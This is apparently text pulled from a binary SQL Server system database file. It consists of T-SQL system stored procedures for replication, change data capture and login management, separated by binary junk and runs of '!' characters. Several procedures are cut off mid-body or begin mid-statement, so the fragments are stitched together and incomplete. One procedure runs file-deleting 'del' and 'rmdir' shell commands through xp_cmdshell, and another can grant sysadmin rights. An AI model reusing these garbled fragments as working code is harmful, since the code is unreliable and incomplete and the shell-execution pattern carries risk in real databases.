!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<	Z0,@ \8X|hu>v8^w^0. 	8CREATE PROCEDURE sys.sp_MSget_min_seqno
(
    @agent_id int,
    @xact_seqno varbinary(16) OUTPUT
)
as
BEGIN
    declare @publisher_db_id int,
		@publisher sysname, 
		@publisher_dbname sysname,
		@publication_id int,
		@dbversion int,
		@publication sysname, 
        @retcode int,
        @IsP2PAgent bit,
        @nosync_type tinyint

    --
    -- Security Check
    -- 
    if @agent_id is not null
    begin
        exec @retcode = sys.sp_MScheck_pull_access
            @agent_id = @agent_id,
            @agent_type = 0 -- distribution agent
        if @@error <> 0 or @retcode <> 0
            return (1)
    end
    else
    begin
        return (1)
    end

    --exec sys.sp_MSispeertopeeragent @agent_id = @agent_id, @is_p2p = @IsP2PAgent output

    --if @@error <> 0 or @IsP2PAgent <> 0
    --begin
    --    return (1)
    --end

   select @publisher_db_id = publisher_database_id
   from MSdistribution_agents
   where id = @agent_id             

    if @publisher_db_id is null
        return (1)

   --MSsubscriptions has a clustered unique key (agent_id, article_id). For one agent_id, there may
   --be multiple article_id. However, all rows with the same @agent_id should have a same value on nosync_type
   select @nosync_type = nosync_type
   from MSsubscriptions
   where agent_id = @agent_id

    if @nosync_type != 3
    begin
        -- In the case where we have a different nosync type, this tells
        --  the distribution agent that can begin replication.
        -- This should be removed in the future.
        select @xact_seqno = 0x00000000000000000001
        return (0)
    end

    select top 1 @xact_seqno = xact_seqno 
        from MSrepl_transactions msrt 
            where msrt.publisher_database_id=@publisher_db_id
            order by xact_seqno asc

    return(0)
END

--
-- Name: sp_MSget_repl_commands
--
-- Descriptions: Note: sp_MSget_repl_commands and sp_MSget_repl_count have very similar
--  queries. Any changes to one of them should be applied to all others.
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- BUGBUG: If resource db support does not improve - this SP should be moved back
-- to instdist.sql for supportability. It accesses system catalogs
-- 
-- Security: Public procedure invoked via RPC. PAL check
-- Requires Certificate signature for catalog access
--
raiserror(15339,-1,-1,'sp_MSget_repl_commands')
0m=@ Y8create procedure [sys].[sp_cdc_restoredb]
(
    @srv_orig sysname,
    @db_orig sysname,
    @keep_cdc int
)
as
begin
    set nocount on

    declare @retcode int

    --
    -- Security Check: RESTORE statement requires sysadmin, dbcreator, or 
    --                 dbo (THE dbo, not just any member of the db_owner 
    --                 role.)               
    --
    if (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0) 
       and (ISNULL(IS_SRVROLEMEMBER('dbcreator'),0) = 0)
       and (ISNULL(IS_MEMBER('db_owner'),0) = 0)
    begin
        raiserror(18799, 16, -1) 
        return 1
    end
    
    exec @retcode = sys.sp_cdc_restoredb_internal @srv_orig
		, @db_orig
		, @keep_cdc
		
    if @retcode <> 0 or @@error <> 0
    begin
        return 1
    end
    
    return 0
end
0-@ 8
create procedure sys.sp_MSgetreplicastate
        @pubid uniqueidentifier,
        @subid uniqueidentifier,
        @replicastate uniqueidentifier output
as
        if ({ fn ISPALUSER(@pubid) } <> 1)
        begin   
                RAISERROR (14126, 11, -1)
                return (1)
        end
        
        select @replicastate = replicastate from dbo.sysmergesubscriptions
            where pubid = @pubid and subid = @subid
            
        return (0)
eric(38,0)
    declare @repub_next_range_begin numeric(38,0)
    declare @repub_next_range_end numeric(38,0)
    declare @root_pub_range bigint
    declare @root_range bigint
    declare @root_publisher sysname
    
    -- now get the idrange information for the publication to which this db is a subscriber and
    -- has a republisher range allocated.
    select @root_pubid=pubid, @root_pub_range = pub_range, @root_range = range from dbo.sysmergearticles where artid=@artid and sys.fn_MSmerge_islocalpubid(pubid)=0
    if @root_pubid is NULL
    begin
        RAISERROR (20634, 16, -1)
        RETURN (1)
    end

    select @root_publisher = publisher from dbo.sysmergepublications where pubid = @root_pubid

    -- for the following comparisons we will convert the ranges to positive numbers if
    -- the ident_increment is negative
    select @ident_incr = IDENT_INCR(@qualified_name)
    if @ident_incr is NULL
    begin
        RAISERROR(21756, 16, -1, @qualified_name)
        return 1
    end
        
    if @ident_incr < 0
    begin
        select @pub_identity_range = -1*@pub_identity_range
        select @root_pub_range = -1*@root_pub_range
        select @identity_range = -1*@identity_range
        select @root_range = -1*@root_range
    end

    -- now first ensure that the new publisher range is not greater than original pub range
    if @pub_identity_range > @root_pub_range/2
    begin
        raiserror(20660, 16, -1)
        return 1
    end
    if @identity_range > @root_pub_range/2
    begin
        raiserror(20661, 16, -1)
        return 1
    end
    
    select @subid=subid from dbo.sysmergesubscriptions 
        where pubid = @root_pubid and  UPPER(subscriber_server)=UPPER(publishingservername()) and db_name=db_name()
    if @subid is NULL
    begin
        raiserror(20021, 16, -1)
        return 1
    end

    -- find the repulisher range which should have been allocated to the global subscription that we are republishing
    select @repub_range_begin=range_begin, @repub_range_end=range_end, 
           @repub_next_range_begin=next_range_begin, @repub_next_range_end=next_range_end
    from dbo.MSmerge_identity_range where subid=@subid and artid=@artid and is_pub_range=1
    if @repub_range_begin is NULL
    begin
        raiserror(20662, 16, -1, @root_publisher)
        return 1
    end
0UN E8create procedure sys.sp_MSreset_logical_record_views(@pubid uniqueidentifier) 
AS
    declare @artid uniqueidentifier
    declare @logical_record_view nvarchar(270)
    declare @quoted_obj nvarchar(290)

    -- drop all the logical record views for this publication, and also null out the entries in sysmergepartioninfo 
    -- for all articles in this publication
    declare per_article CURSOR LOCAL FAST_FORWARD FOR select artid, object_name(logical_record_view) FROM dbo.sysmergepartitioninfo 
        where pubid = @pubid and logical_record_view is not null FOR READ ONLY
    open per_article
    fetch per_article INTO @artid, @logical_record_view
    while (@@fetch_status <> -1)
    begin
        if object_id(@logical_record_view) is not NULL
        and not exists (select * from sysmergepartitioninfo where logical_record_view = @logical_record_view
			and pubid <> @pubid)
        begin
            select @quoted_obj = QUOTENAME(@logical_record_view)
            exec ('drop view ' + @quoted_obj)
            if @@error<>0 
                goto FAILURE
        end
           
        update dbo.sysmergepartitioninfo 
            set logical_record_view = NULL,
            logical_record_parent_nickname = NULL,
            logical_record_deleted_view_rule = NULL
            where pubid = @pubid and artid = @artid 
    fetch per_article INTO @artid, @logical_record_view
    end
    close per_article
    deallocate per_article
    return (0)

FAILURE:
    close per_article
    deallocate per_article
    return (1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
W
`V<0		M5$0~4 D82ch+40T6 _8create procedure sys.xp_grantlogin
    @loginame       sysname,
    @logintype      varchar(5) = Null       -- ignored unless 'admin'
AS
	set nocount on

    -- IF NAME NOT 'DOMAIN\USER', ADD DEFAULT DOMAIN --
    if (charindex('\', @loginame) = 0)
    begin
        select @loginame = default_domain() + '\' + @loginame
    end

	Declare @ret   int     -- return value of sp call
    execute @ret = sys.sp_grantlogin @loginame
    if (@ret = 0 and @logintype = 'admin')
        execute @ret = sys.sp_addsrvrolemember @loginame, 'sysadmin'
    return (@ret)
06 8 
-- add it
create view sys.dm_pdw_nodes_os_memory_cache_counters as
select *, convert(int, null) pdw_node_id from sys.dm_os_memory_cache_counters
0kU 8CREATE PROCEDURE sys.sp_MSanonymous_status
(
    @agent_id           int,
    @no_init_sync       int = 0,
    @last_xact_seqno varbinary(16)
)
as
begin
   set nocount on

   declare @virtual_agent_id int    /* virtual sub agent id */
   declare @anonymous_agent_id int  /* virtual anonymous agent id */

    -- Note @agent_id will be overwritten later.
    select  @virtual_agent_id =   virtual_agent_id,
            @anonymous_agent_id = anonymous_agent_id
        from MSdistribution_agents where
            id = @agent_id
    
    -- Return error if agent entry does not exists (being deleted).
    if @virtual_agent_id is null
    begin
        raiserror(21072, 16, -1)
        return(1)
    end

    -- If no init sync, use anonymous account to start immediately.
    -- If first time, or still working on the first snapshot, or just finished
    -- the first snapshot, use virtual account. This is to cover the case
    -- of multiple snapshot transactions (for example, one per article) in the first
    -- snapshot.
    -- otherwise use virtual anonymous account
    if  @no_init_sync = 1 
        select @agent_id = @anonymous_agent_id
    else if @last_xact_seqno = 0x00 
        select @agent_id = @virtual_agent_id
    else
        select @agent_id = @anonymous_agent_id
    
    --
    -- Call main procedure for to get status
    -- PAL security check is done in the main proc
    --
    exec sys.sp_MSsubscription_status
        @agent_id = @agent_id
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<T	Y%F\0@ 
8create procedure sys.sp_MSchange_retention_period_unit (@pubid uniqueidentifier, @value tinyint)
as
    declare @re_pubid            uniqueidentifier 
    declare @artid                uniqueidentifier
    declare @schemaversion      int 
    declare @schemaguid         uniqueidentifier
    declare @schematype         int
    declare @schematext         nvarchar(2000)
    declare @retcode            int
    declare @SCHEMA_TYPE_RETENTIONUNITCHANGE int

    -- Security check
    exec @retcode = dbo.sp_MSreplcheck_subscribe
    if @retcode <> 0 or @@error <> 0
        return 1

    set @SCHEMA_TYPE_RETENTIONUNITCHANGE= 29
    
    begin tran
    save tran change_retention_pu

    update dbo.sysmergepublications set retention_period_unit = @value where pubid = @pubid
    if @@ERROR<>0
        goto UNDO
        
    -- Declare a cursor that iterates over all publications which originate at this node.
    declare #change_retention_period_unit CURSOR LOCAL FAST_FORWARD for 
        select pubid from dbo.sysmergearticles 
            where pubid<>@pubid and 
                  nickname in (select nickname from dbo.sysmergearticles where pubid=@pubid) and
                  pubid in (select pubid from dbo.sysmergepublications 
                                  where upper(publisher) collate database_default = upper(publishingservername()) collate database_default and
                                        publisher_db = db_name())

    open #change_retention_period_unit
    fetch #change_retention_period_unit into @re_pubid
    while (@@fetch_status <> -1)
    BEGIN
        update dbo.sysmergepublications set retention_period_unit = @value where pubid = @re_pubid
        if @@ERROR<>0
            goto UNDO
        set @schematype= @SCHEMA_TYPE_RETENTIONUNITCHANGE
        set @artid = null
        select @schematext = 'exec dbo.sp_MSchange_retention_period_unit '+ '''' + convert(nchar(36),@re_pubid) + '''' + ',' + convert(nvarchar, @value)        
        select @schemaversion = schemaversion from dbo.sysmergeschemachange
        if (@schemaversion is NULL)
            set @schemaversion = 1
        else
            select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange        
        set @schemaguid = newid()
        exec @retcode=sys.sp_MSinsertschemachange @re_pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext
        if @@ERROR<>0 or @retcode<>0 
            goto UNDO
        fetch #change_retention_period_unit into @re_pubid
    END
    close #change_retention_period_unit
    deallocate #change_retention_period_unit
    
    COMMIT TRAN
    return (0)
UNDO:
    ROLLBACK tran change_retention_pu
    COMMIT TRAN
    return(1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`6
	<y	0=Ha0O N8CREATE PROCEDURE sys.sp_MSadd_anonymous_agent
(
    @publisher_id       int,
    @publisher_db       sysname,
    @publication        sysname,
    @subscriber_db      sysname,
    @subscriber_name    sysname,
    @anonymous_subid    uniqueidentifier output,
    @agent_id           int output,
    @reinitanon         bit = 0
)
as
begin
/*
** This stored procedure does not really add a job at distribution database;
** if add a row in MSdistribution_agent table for anonymous subscription for the 
** purpose of history logging
*/

   set nocount on
   declare @distribution_type smallint
            ,@profile_id int
            ,@subscriber_id smallint
            ,@retcode int
            ,@publication_id int
            ,@virtual_agent_id int
            ,@anonymous_agent_id int
            ,@virtual smallint
            ,@virtual_anonymous smallint
            ,@new_agent_id int
            ,@anonymous int
            ,@publisher_database_id int
            ,@allow_anonymous bit
            ,@publication_type int
            ,@merge_publication_type int
            ,@publisher sysname
   
   select @publication_type = NULL
            ,@merge_publication_type = 2
            ,@virtual = -1
            ,@virtual_anonymous = -2
            ,@anonymous = 2

   
    -- Check to see if the publication is valid and allow anonymous
    select @publication_id = publication_id, @allow_anonymous = allow_anonymous, @publication_type = publication_type
    from dbo.MSpublications where
        publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        publication = @publication 

    
    if @subscriber_name is null
        select @subscriber_name = N''

    -- Get virtual ids
    select top 1 @virtual_agent_id = agent_id, 
        @publisher_database_id = publisher_database_id from dbo.MSsubscriptions where
        publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        publication_id = @publication_id and
        subscriber_id = @virtual

    select top 1 @anonymous_agent_id = agent_id from dbo.MSsubscriptions where
        publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        publication_id = @publication_id and
        subscriber_id = @virtual_anonymous

    -- Security check
    exec @retcode = sys.sp_MScheck_pull_access
        @agent_id =  @anonymous_agent_id,
        @agent_type = 0 -- distribution agent   
    if @retcode <> 0 or @@error <> 0
        return (1)

    if @publication_id is null
    begin
        RAISERROR (21040, 16, -1, @publication)
        return 1
    end

    if @publication_type = @merge_publication_type
    begin
        RAISERROR(21132, 16, -1, @publication)
        return 1
    end

    if @allow_anonymous = 0
    begin
        RAISERROR (21084, 16, -1, @publication)
        return 1   
    end


    /*
    **  To return two more parameters for the purpose of anonymous monitoring
    ** 
    ** If @anonymous_subid is null, this is a new anonymous subscription; A new row would be inserted in MSdistribution_agents.
    ** And its id (identity) and newly generated ID will be returned; The new ID would be used in subscriber side.
    */
    select @subscriber_id = 0   -- for anonymous subscribers, ID is always 0

    select @agent_id = id from MSdistribution_agents 
    where anonymous_subid = @anonymous_subid
    
    IF @agent_id is null
    BEGIN
        if @anonymous_subid is not NULL and @anonymous_subid <> 0x00
           and @reinitanon = 0
        begin
            -- Agent has be cleaned up, return error.
            raiserror(21072, 16, -1)
            return(1)
        end
        -- Generate a new subid only when the subscription is not 
        -- reinitialized
        if @reinitanon = 0
        begin
            select @anonymous_subid = newid()
        end
        SELECT @distribution_type = 3

        SELECT @profile_id = profile_id
        FROM msdb..MSagent_profiles
        WHERE agent_type = @distribution_type
            AND def_profile = 1

        IF @profile_id IS NULL
        RETURN (1)
        --
        -- SKU based subscription count check
        -- Skip this check for snapshot publications
        --
        if (@publication_type != 1)
        begin
            select @publisher = name
            from sys.servers
            where server_id = @publisher_id
            exec @retcode = sys.sp_MScheck_subscription_count_internal @mode=0 
                                            ,@publisher = @publisher
                                            ,@about_to_insert_new_subscription = 1
            if (@retcode != 0 or @@error != 0)
                return 1
        end
        --
        -- Add entry to Distribution agents
        --
        INSERT into MSdistribution_agents (name, publisher_database_id, publisher_id, publisher_db, publication, 
                    subscriber_id, subscriber_db, subscription_type, local_job, job_id, subscription_guid, profile_id, anonymous_subid, 
                    subscriber_name, virtual_agent_id, anonymous_agent_id)
                    
             VALUES (convert(nvarchar(40), @anonymous_subid), @publisher_database_id, @publisher_id, @publisher_db, @publication, 
                        @subscriber_id, @subscriber_db, @anonymous, 0, @anonymous_subid,
                        @anonymous_subid, @profile_id, @anonymous_subid, @subscriber_name,
                        @virtual_agent_id, @anonymous_agent_id)
        select @agent_id = @@identity
    END
end        
0@ "8
create procedure sys.sp_mergecleanupmetadata
	@publication		sysname = '%',
	@reinitialize_subscriber	nvarchar(5) = 'true'
AS

	declare @retcode			int
	raiserror(22544, 10, -1)
	exec @retcode = sys.sp_mergemetadataretentioncleanup
	return @retcode
0@ Y8create procedure sys.sp_MSenum_metadataaction_requests
                            @tablenick_last int,
                            @rowguid_last uniqueidentifier,
                            @pubid uniqueidentifier,
                            @max_rows int
as
    set nocount on
    declare @retcode int
    
    -- Security check
    exec @retcode= sys.sp_MSreplcheck_subscribe     
    if @retcode<>0 or @@error<>0 return 1

    select top (@max_rows) tablenick, rowguid, action
            from dbo.MSmerge_metadataaction_request
            where (tablenick=@tablenick_last and rowguid>@rowguid_last) 
                            or
                      (tablenick>@tablenick_last)
            order by tablenick asc, rowguid asc

    if @@error<>0 
        return 1
    else 
        return 0
0 P8nh,
>-
YJj!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)`	<M	J
S0mz !
8create procedure sys.sp_MSisnonpkukupdateinconflict (
	@pubid int
	,@artid int
	,@bitmap varbinary(4000)
)
as
begin
	declare @retcode int
		,@tabname sysname
		,@tabid int
		,@indid int
		,@indkey int
		,@key sysname
		,@colid int
		,@isset int
		,@artcol int
		,@bytepos int
		,@bitpos int
	declare @ukcoltab table(ukindex int identity, keyname sysname collate database_default not null)

	--
	-- security check
	--
	exec @retcode = sp_MSreplcheck_publish
	if @@ERROR != 0 or @retcode != 0
		return -1
	--
	-- initalize and validate
	--
	select @tabid = objid
		,@artcol = 0
	from dbo.sysarticles
	where (artid = @artid) and (pubid = @pubid)
	--
	-- validate article
	--
	if (@tabid is null)
	begin
		raiserror(21344, 16, -1, '@pubid, @artid')
		return -1
	end
	--
	-- the table should have non PK unique keys
	--
	exec @retcode = sp_repltablehasnonpkuniquekey @tabid
	if (@retcode != 1)
	begin
		return 0
	end
	--
	-- get fully qualified table
	--
	select @tabname = QUOTENAME(schema_name(OBJECTPROPERTY(@tabid, 'SchemaId'))) collate database_default 
			+ N'.' + QUOTENAME(object_name( @tabid )) collate database_default

	--
	-- get the non PK unique indices
	--
	declare #hcindid cursor local fast_forward for
		select indid from sysindexes 
		where id = @tabid 
			and (status & 2) != 0
			and (status & 2048) = 0
			and indid > 0 and indid < 255
		order by indid asc
	open #hcindid
	fetch #hcindid into @indid
	while (@@fetch_status != -1)
	begin
		--
		-- create an enumeration of all the columns 
		-- that are part of selected unique index
		--
		select @indkey = 1
		while (@indkey <= 16)
		begin
			select @key = index_col( @tabname, @indid, @indkey )
			if (@key is null)
				break
			else
			begin
				if not exists (select * from @ukcoltab where keyname = @key)
					insert into @ukcoltab(keyname) values(@key)
			end
			select @indkey = @indkey + 1
		end
		--
		-- fetch next index
		--
		fetch #hcindid into @indid
	end
	close #hcindid
	deallocate #hcindid
	--
	-- now walk through each article col and if it is
	-- a part of any of the unique keys, then check if the update bitmap bit 
	-- corresponding to any article column is set
	--
	declare #hccolid cursor local fast_forward for
		select column_id, [name] from sys.columns 
		where object_id = @tabid order by column_id asc

	open #hccolid
	fetch #hccolid INTO @colid, @key
	while (@@fetch_status != -1)
	begin
		exec @isset = sp_isarticlecolbitset @colid, @artid
		if (@isset != 0)
		begin
			--
			-- this column is part of the article
			--
			select @artcol = @artcol + 1
			if exists (select * from @ukcoltab where keyname = @key)
			begin
				--
				-- this column is part of an unique key
				--
				select @bytepos = 1 + (@artcol-1) / 8 
					,@bitpos = power(2, (@artcol-1) % 8 )
				--
				-- if the update bitmap has bit set then
				-- then it is a nonPK key update
				--
				if ((substring(@bitmap, @bytepos, 1) & @bitpos) = @bitpos)
					return 1
			end
		end		
		--
		-- get the next column
		--
		fetch #hccolid INTO @colid, @key
	end
	close #hccolid
	deallocate #hccolid
	--
	-- if we have reached here then it mean the update does not
	-- affect PK columns, cleanup and return
	--
	return 0
end
0͝ @8
create function sys.fn_MSmerge_nicknamefound(
    @nicknames varbinary(1001),
    @replnickname binary(6))
    returns int
as
begin
    declare @replnicklength int
    declare @offset int
    set @replnicklength = 6
    set @offset= 1
    while @offset < DATALENGTH(@nicknames)
    begin
        -- If the nickname is already in the list just return
        if substring(@nicknames, @offset, @replnicklength) = @replnickname
            return (1)
        set @offset = @offset + @replnicklength
    end
    return (0)
end
0* 
8--
-- Name: sp_MSremove_userscript
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSremove_userscript(
@pubid				uniqueidentifier,
@drop_publication	bit = 0
)as
	declare @retention			int
	declare @retention_period_unit tinyint
	declare @last_snapshot		datetime
	declare @post_snapshot_ver	int
	declare @post_snapshot_type int
	declare @user_script_type	int
	declare @retcode			int
	declare @len				int

	declare @file_path			nvarchar(4000)
	declare @delfile_cmd		nvarchar(4000)
	declare @rmdir_cmd			nvarchar(4000)
	
	select @post_snapshot_type=52
	select @user_script_type=46
	
	if not exists (select * from dbo.sysmergeschemachange where pubid=@pubid and schematype=@user_script_type)
		return (0)
	select @retention=retention, @retention_period_unit = retention_period_unit from dbo.sysmergepublications where pubid=@pubid
	select @last_snapshot=last_validated from dbo.sysmergesubscriptions where pubid=@pubid and subid=@pubid

	--I do not want to remove  script files by setting retention to 0
	if (@retention=0 or sys.fn_add_units_to_date(-@retention, @retention_period_unit, getdate()) < @last_snapshot) and @drop_publication = 0
		return (0)

	select @post_snapshot_ver=schemaversion from dbo.sysmergeschemachange 
		where schematype=@post_snapshot_type and pubid=@pubid
		
	--only get those script that can be safely removed
	
	declare #per_script cursor local fast_forward for
		select schematext from dbo.sysmergeschemachange 
			where pubid=@pubid and schematype=@user_script_type 
			and (schemaversion<@post_snapshot_ver or @drop_publication = 1)
	open #per_script
	fetch #per_script into @file_path
	while (@@fetch_status<>-1)
	begin
		if(left(@file_path, 1) = N'0' or left(@file_path, 1) = N'1')
			select @file_path = right(@file_path, len(@file_path) - 1)
		select @delfile_cmd = N'del "' + sys.fn_escapecmdshellsymbolsremovequotes(@file_path) collate database_default + N'"'
		EXEC @retcode = master.dbo.xp_cmdshell @delfile_cmd, NO_OUTPUT
		if @@ERROR<>0
			goto FAILURE
		select @len=CHARINDEX ( '\' , reverse(@file_path) ) 
		select @file_path=SUBSTRING(@file_path , 1 , len(@file_path)-@len + 1)
		
		select @delfile_cmd = N'rmdir "' + sys.fn_escapecmdshellsymbolsremovequotes(@file_path) collate database_default + N'"'
		EXEC @retcode = master.dbo.xp_cmdshell @delfile_cmd, NO_OUTPUT
		if @@ERROR<>0
			goto F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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`z	<[		ǩ<0o 8CREATE PROCEDURE sys.sp_MSget_last_transaction
(
    @publisher_id int = NULL,
    @publisher_db sysname,
    @publisher sysname = NULL,
    @max_xact_seqno varbinary(16) = NULL output
    ,@for_truncate bit = 0
)
AS
begin
    declare @publisher_database_id int
    declare @max_xact_id varbinary(16)
    declare @sync_bit int
    declare @sync_with_backup bit

    set nocount on 
    
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    
	SELECT @sync_bit = 32

	if @publisher_id is NULL
		select @publisher_id = srvid from master.dbo.sysservers where
			UPPER(srvname) = UPPER(@publisher)

	-- Get publisher database id.
	SELECT @publisher_database_id = id from MSpublisher_databases where publisher_id = @publisher_id and 
		publisher_db = @publisher_db
    
	if exists ( select * from master.dbo.sysdatabases where 
			name = db_name() and
			category & @sync_bit = 0) 
		select @sync_with_backup = 0
	else
		select @sync_with_backup = 1



	if @for_truncate = 0
	begin
		select top 1 @max_xact_id = rt.xact_id, @max_xact_seqno = rt.xact_seqno
		  from
		  MSrepl_transactions rt
		  where 
			 rt.publisher_database_id = @publisher_database_id and
			 not xact_id = 0x0
			 order by xact_seqno desc
	end
	-- If (1) requesting truncate lsn (distbackuplsn), (2) sync with backup is set
	-- query the values from MSrepl_backup_lsn
	else if	@sync_with_backup = 1
	begin
		-- Get the last backed up lsn if available.
		select top 1 @max_xact_id = valid_xact_id, @max_xact_seqno = valid_xact_seqno
		  from
		  MSrepl_backup_lsns 
		  where 
			 publisher_database_id = @publisher_database_id 
	end
	
	-- If @publisher is not null, we are calling this sp from sp_replrestart
	-- Don't return result set.
	if @publisher is null
		select @max_xact_id, @max_xact_seqno, @publisher_database_id
			-- Don't return any result when requsting a truncate lsn and
			-- the database is not in 'sync with backup' mode, which signal the 
			-- distribution agent to use last dist lsn to call sp_repldone.
			where not (@sync_with_backup = 0 and @for_truncate = 1)
end
